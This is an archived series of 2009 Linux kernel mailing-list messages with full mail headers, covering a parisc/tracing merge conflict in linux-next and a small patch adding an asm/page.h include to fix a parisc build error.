* Stephen Rothwell <sfr@canb.auug.org.au> wrote:

> Hi all,
> 
> Today's linux-next merge of the tracing tree got a conflict in
> arch/parisc/include/asm/ftrace.h between commit
> d75f054a2cf0614ff63d534ff21ca8eaab41e713 ("parisc: add ftrace (function
> and graph tracer) functionality") from the parisc tree and commit
> c79a61f55773d2519fd0525bf58385f7d20752d3 ("tracing: make CALLER_ADDRx
> overwriteable") from the tracing tree.
> 
> The former adds a non-trivial version of the file, so I used that.

You need to be careful, the two trees likely cannot be combined like 
that, ftrace will likely stop working on parisc because you combine 
old-parisc with new-ftrace.

If the two trees are integrated without forward-porting the parisc 
ftrace port to the new facilities, then it's safer to do a trivial 
patch that disables the ftrace bits on parisc.

	Ingo

From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Wed, 1 Apr 2009 13:10:36 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20090401111036.GA5894@pengutronix.de>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au> <20090401110512.GB15442@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238584353 25785 80.91.229.12 (1 Apr 2009 11:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 11:12:33 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	Thomas Gleixner <tglx@linutronix.de>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, Steven Rostedt <srostedt@redhat.com>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 13:13:50 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoyOC-0002km-Pn
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 13:13:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755542AbZDALLO convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glkn-linux-next@m.gmane.org>); Wed, 1 Apr 2009 07:11:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755898AbZDALLO
	(ORCPT <rfc822;linux-next-outgoing>); Wed, 1 Apr 2009 07:11:14 -0400
Original-Received: from metis.ext.pengutronix.de ([92.198.50.35]:44624 "EHLO
	metis.ext.pengutronix.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755542AbZDALLM (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Wed, 1 Apr 2009 07:11:12 -0400
Original-Received: from octopus.hi.pengutronix.de ([2001:6f8:1178:2:215:17ff:fe12:23b0])
	by metis.ext.pengutronix.de with esmtp (Exim 4.63)
	(envelope-from <ukl@pengutronix.de>)
	id 1LoyLA-0000ZG-GF; Wed, 01 Apr 2009 13:10:40 +0200
Original-Received: from ukl by octopus.hi.pengutronix.de with local (Exim 4.69)
	(envelope-from <ukl@pengutronix.de>)
	id 1LoyL6-0001Za-Ru; Wed, 01 Apr 2009 13:10:36 +0200
Content-Disposition: inline
In-Reply-To: <20090401110512.GB15442@elte.hu>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-SA-Exim-Connect-IP: 2001:6f8:1178:2:215:17ff:fe12:23b0
X-SA-Exim-Mail-From: ukl@pengutronix.de
X-SA-Exim-Scanned: No (on metis.ext.pengutronix.de); SAEximRunCond expanded to false
X-PTX-Original-Recipient: linux-next@vger.kernel.org
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6705 gmane.linux.ports.parisc:1439
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1439>

Hello Ingo,

On Wed, Apr 01, 2009 at 01:05:12PM +0200, Ingo Molnar wrote:
>=20
> * Stephen Rothwell <sfr@canb.auug.org.au> wrote:
>=20
> > Hi all,
> >=20
> > Today's linux-next merge of the tracing tree got a conflict in
> > arch/parisc/include/asm/ftrace.h between commit
> > d75f054a2cf0614ff63d534ff21ca8eaab41e713 ("parisc: add ftrace (func=
tion
> > and graph tracer) functionality") from the parisc tree and commit
> > c79a61f55773d2519fd0525bf58385f7d20752d3 ("tracing: make CALLER_ADD=
Rx
> > overwriteable") from the tracing tree.
> >=20
> > The former adds a non-trivial version of the file, so I used that.
>=20
> You need to be careful, the two trees likely cannot be combined like=20
> that, ftrace will likely stop working on parisc because you combine=20
> old-parisc with new-ftrace.
>=20
> If the two trees are integrated without forward-porting the parisc=20
> ftrace port to the new facilities, then it's safer to do a trivial=20
> patch that disables the ftrace bits on parisc.
I'm not sure that they really conflict.  My change ("tracing: make
CALLER_ADDRx overwriteable") only created the empty include file that I
can unconditionally include <asm/ftrace.h>.

But I don't know for sure.

Best regards
Uwe

--=20
Pengutronix e.K.                              | Uwe Kleine-K=F6nig     =
       |
Industrial Linux Solutions                    | http://www.pengutronix.=
de/  |

From - Thu Nov 08 21:03:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: linux-next: manual merge of the tracing tree with the parisc
	tree
Date: Wed, 1 Apr 2009 13:19:01 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20090401111901.GD15442@elte.hu>
References: <20090401113740.7f425e02.sfr@canb.auug.org.au> <20090401110512.GB15442@elte.hu> <20090401111036.GA5894@pengutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238584784 27155 80.91.229.12 (1 Apr 2009 11:19:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 11:19:44 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
	Thomas Gleixner <tglx@linutronix.de>,
	"H. Peter Anvin" <hpa@zytor.com>, linux-next@vger.kernel.org,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org, Steven Rostedt <srostedt@redhat.com>
To: Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 13:21:00 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LoyV9-0004K4-EK
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 13:20:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753551AbZDALTa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glkn-linux-next@m.gmane.org>); Wed, 1 Apr 2009 07:19:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753935AbZDALTa
	(ORCPT <rfc822;linux-next-outgoing>); Wed, 1 Apr 2009 07:19:30 -0400
Original-Received: from mx2.mail.elte.hu ([157.181.151.9]:55665 "EHLO mx2.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753551AbZDALT3 (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Wed, 1 Apr 2009 07:19:29 -0400
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx2.mail.elte.hu with esmtp (Exim)
	id 1LoyTI-00081k-Sc
	from <mingo@elte.hu>; Wed, 01 Apr 2009 13:19:10 +0200
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 09BB73E2138; Wed,  1 Apr 2009 13:18:58 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20090401111036.GA5894@pengutronix.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx2: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6706 gmane.linux.ports.parisc:1440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1440>


* Uwe Kleine-K=F6nig <u.kleine-koenig@pengutronix.de> wrote:

> Hello Ingo,
>=20
> On Wed, Apr 01, 2009 at 01:05:12PM +0200, Ingo Molnar wrote:
> >=20
> > * Stephen Rothwell <sfr@canb.auug.org.au> wrote:
> >=20
> > > Hi all,
> > >=20
> > > Today's linux-next merge of the tracing tree got a conflict in
> > > arch/parisc/include/asm/ftrace.h between commit
> > > d75f054a2cf0614ff63d534ff21ca8eaab41e713 ("parisc: add ftrace (fu=
nction
> > > and graph tracer) functionality") from the parisc tree and commit
> > > c79a61f55773d2519fd0525bf58385f7d20752d3 ("tracing: make CALLER_A=
DDRx
> > > overwriteable") from the tracing tree.
> > >=20
> > > The former adds a non-trivial version of the file, so I used that=
=2E
> >=20
> > You need to be careful, the two trees likely cannot be combined lik=
e=20
> > that, ftrace will likely stop working on parisc because you combine=
=20
> > old-parisc with new-ftrace.
> >=20
> > If the two trees are integrated without forward-porting the parisc=20
> > ftrace port to the new facilities, then it's safer to do a trivial=20
> > patch that disables the ftrace bits on parisc.
>
> I'm not sure that they really conflict.  My change ("tracing: make=20
> CALLER_ADDRx overwriteable") only created the empty include file=20
> that I can unconditionally include <asm/ftrace.h>.

I know, that commit is not a problem. It just exposed the problem=20
that these trees got combined in linux-next.

	Ingo

From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: [PATCH next] parisc: asm/pdc.h should include asm/page.h
Date: Wed, 1 Apr 2009 11:01:15 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20090401150115.GA1443@bombadil.infradead.org>
References: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238598132 10669 80.91.229.12 (1 Apr 2009 15:02:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 15:02:12 +0000 (UTC)
Cc: "linux-next@vger.kernel.org" <linux-next@vger.kernel.org>,
	linux-parisc@vger.kernel.org, kyle@mcmartin.ca
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 17:03:30 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp1xo-0007cI-R4
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 17:02:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932528AbZDAPBW (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Wed, 1 Apr 2009 11:01:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932135AbZDAPBW
	(ORCPT <rfc822;linux-next-outgoing>); Wed, 1 Apr 2009 11:01:22 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49511 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932294AbZDAPBV (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Wed, 1 Apr 2009 11:01:21 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lp1wJ-0006yG-WB; Wed, 01 Apr 2009 15:01:16 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6710 gmane.linux.ports.parisc:1441
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1441>

On Wed, Apr 01, 2009 at 01:44:08PM +0400, Alexander Beregalov wrote:
> Fixes this build error:
> arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared
> (first use in this function)
> 
> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>

Huh. Nice. More patches to arch/parisc that didn't go through me that
break things.

Applied, thanks again Alexander.

cheers, Kyle

From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: [PATCH next] parisc: asm/pdc.h should include asm/page.h
Date: Wed, 1 Apr 2009 19:06:41 +0400
Lines: 24
Approved: news@gmane.org
Message-ID: <a4423d670904010806j7de7b311yb3137e8b73ad12f2@mail.gmail.com>
References: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com>
	 <20090401150115.GA1443@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238598496 12017 80.91.229.12 (1 Apr 2009 15:08:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 15:08:16 +0000 (UTC)
Cc: "linux-next@vger.kernel.org" <linux-next@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 17:09:29 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp230-0000aV-JA
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 17:08:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760507AbZDAPGp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 11:06:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764136AbZDAPGp
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 11:06:45 -0400
Original-Received: from ey-out-2122.google.com ([74.125.78.27]:12117 "EHLO
	ey-out-2122.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760507AbZDAPGo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 11:06:44 -0400
Original-Received: by ey-out-2122.google.com with SMTP id 4so19355eyf.37
        for <multiple recipients>; Wed, 01 Apr 2009 08:06:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=m5lsxgbbpfzB4PofdAoyNB/f5rOVG3HNZd+iEvf0xOE=;
        b=HNBXItSOC+lSkJ+9kRdUVKO9WLzBDTgiGsEzMoni4s63yh1Ox9lJJKzHGOWKDluckM
         Uwii3x6zyx+rlYcwjiZ/IbDJgkBLDe43d7q2BjJTjJxdBM9iosYBARNqu6Ep6Jijplry
         HavjhLMVJNf6fgvuFfHvSeLPaVHsrGIAiGlFU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=eVLUIhg0NeQCM3R1MqrTN0pyZvmzoSvjQlWV/uDoriF0Xzdw6bATC0aBmsea8QTfTc
         RLyQkXFOKJVqIVES4CRRR6t+xaGzWU5mH8M1H1wrWdE5joavu8tRj7MMSA/PXMkHONfp
         qkVHzXEY0mJZlA5dTVagsC2peNn4l69wIINhE=
Original-Received: by 10.211.178.8 with SMTP id f8mr5019511ebp.55.1238598401351; Wed, 
	01 Apr 2009 08:06:41 -0700 (PDT)
In-Reply-To: <20090401150115.GA1443@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1442 gmane.linux.kernel.next:6711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1442>

2009/4/1 Kyle McMartin <kyle@mcmartin.ca>:
> On Wed, Apr 01, 2009 at 01:44:08PM +0400, Alexander Beregalov wrote:
>> Fixes this build error:
>> arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared
>> (first use in this function)
>>
>> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
>
> Huh. Nice. More patches to arch/parisc that didn't go through me that
> break things.
>
> Applied, thanks again Alexander.

Hi Kyle

Actually the patch does not fix build. It fails with message
"asm-parisc/page.h is not exported".
I do not know what it means.
Should we include page.h in pdc_cons.c instead of pdc.h ?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc
Subject: Re: [PATCH next] parisc: asm/pdc.h should include asm/page.h
Date: Wed, 1 Apr 2009 11:09:56 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20090401150956.GB1443@bombadil.infradead.org>
References: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com> <20090401150115.GA1443@bombadil.infradead.org> <a4423d670904010806j7de7b311yb3137e8b73ad12f2@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238598653 12730 80.91.229.12 (1 Apr 2009 15:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 15:10:53 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
	"linux-next@vger.kernel.org" <linux-next@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Alexander Beregalov <a.beregalov@gmail.com>
Original-X-From: linux-next-owner@vger.kernel.org Wed Apr 01 17:12:11 2009
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp26B-0001jB-Oo
	for glkn-linux-next@gmane.org; Wed, 01 Apr 2009 17:11:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761693AbZDAPKA (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Wed, 1 Apr 2009 11:10:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760543AbZDAPKA
	(ORCPT <rfc822;linux-next-outgoing>); Wed, 1 Apr 2009 11:10:00 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:50560 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757883AbZDAPJ7 (ORCPT
	<rfc822;linux-next@vger.kernel.org>); Wed, 1 Apr 2009 11:09:59 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1Lp24i-00080a-Bo; Wed, 01 Apr 2009 15:09:56 +0000
Content-Disposition: inline
In-Reply-To: <a4423d670904010806j7de7b311yb3137e8b73ad12f2@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:6712 gmane.linux.ports.parisc:1443
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1443>

On Wed, Apr 01, 2009 at 07:06:41PM +0400, Alexander Beregalov wrote:
> 2009/4/1 Kyle McMartin <kyle@mcmartin.ca>:
> > On Wed, Apr 01, 2009 at 01:44:08PM +0400, Alexander Beregalov wrote:
> >> Fixes this build error:
> >> arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared
> >> (first use in this function)
> >>
> >> Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
> >
> > Huh. Nice. More patches to arch/parisc that didn't go through me that
> > break things.
> >
> > Applied, thanks again Alexander.
> 
> Hi Kyle
> 
> Actually the patch does not fix build. It fails with message
> "asm-parisc/page.h is not exported".
> I do not know what it means.
> Should we include page.h in pdc_cons.c instead of pdc.h ?
> 

Ah, the <asm/page.h> include needs to be inside __KERNEL__.

Care to resend?

cheers, Kyle

From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next
Subject: Re: [PATCH next] parisc: asm/pdc.h should include asm/page.h
Date: Wed, 1 Apr 2009 19:43:40 +0400
Lines: 30
Approved: news@gmane.org
Message-ID: <a4423d670904010843r76c3a4faxd2841387772be89@mail.gmail.com>
References: <a4423d670904010244q1cfbce88qaa635d8e4070db07@mail.gmail.com>
	 <20090401150115.GA1443@bombadil.infradead.org>
	 <a4423d670904010806j7de7b311yb3137e8b73ad12f2@mail.gmail.com>
	 <20090401150956.GB1443@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238600633 20304 80.91.229.12 (1 Apr 2009 15:43:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 15:43:53 +0000 (UTC)
Cc: "linux-next@vger.kernel.org" <linux-next@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 17:45:11 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp2co-0003kS-Cr
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 17:45:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756290AbZDAPnp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 1 Apr 2009 11:43:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757158AbZDAPno
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 1 Apr 2009 11:43:44 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:58440 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756290AbZDAPnn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 1 Apr 2009 11:43:43 -0400
Original-Received: by ewy9 with SMTP id 9so103094ewy.37
        for <multiple recipients>; Wed, 01 Apr 2009 08:43:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=20ZvgMQqhngmECg+OIcFjgWWNIj+6noHtnX89vGJQ0U=;
        b=DIB3F35CHls+i7S5bKySBMghbteP8JQx94VSZtKo03qDlDV6dceIZnofE5syjPOolM
         SRZagMEmQTfkxOd8CyUz+cKlnWhE7cm9+m+NkF01eRKJK8H7+EFwR5JgreOM4bvL0oT8
         1fKFeSTp7yFYeJSgoh5M/80O6M5FLe250yIuo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=Xo4vd24SIT3HsZlVp9FIve9GQZ6PJHbs5KNsO0ou2VcHS6C2bjtYy2LGDWN04tmLB8
         cJp1Mb+/oC25FgSvScuWCkEXzbccId3ZmBmCU2q6gqibEsQBZXZ62QkmDcHwkpY9Jnb2
         zHKpwt350j7J1gldSSV8KaIndjMfFMFPUijgI=
Original-Received: by 10.211.178.8 with SMTP id f8mr5043859ebp.55.1238600620753; Wed, 
	01 Apr 2009 08:43:40 -0700 (PDT)
In-Reply-To: <20090401150956.GB1443@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1444 gmane.linux.kernel.next:6714
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1444>

From: Alexander Beregalov <a.beregalov@gmail.com>
Subject: [PATCH] parisc: asm/pdc.h should include asm/page.h

Fixes this build error:
arch/parisc/kernel/pdc_cons.c:117: error: '__PAGE_OFFSET' undeclared

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 arch/parisc/include/asm/pdc.h |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index a26e98d..90d6973 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -343,6 +343,8 @@

 #ifdef __KERNEL__

+#include <asm/page.h> /* for __PAGE_OFFSET */
+
 extern int pdc_type;

 /* Values for pdc_type */
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel/traps.c PARISC_BUG_BREAK_INSN undeclared
Date: Wed, 1 Apr 2009 20:42:31 +0400
Lines: 36
Approved: news@gmane.org
Message-ID: <a4423d670904010942w1144327cm1ac3688b5122a397@mail.gmail.com>
References: <a4423d670903250702k2e5d803jb2caf9f9752f1e0a@mail.gmail.com>
	 <20090325140909.GF19208@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238604204 2385 80.91.229.12 (1 Apr 2009 16:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 1 Apr 2009 16:43:24 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 01 18:44:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lp3YC-00052B-BR
	for glpp-linux-parisc@gmane.org; Wed, 01 Apr 2009 18:44:29 +0200
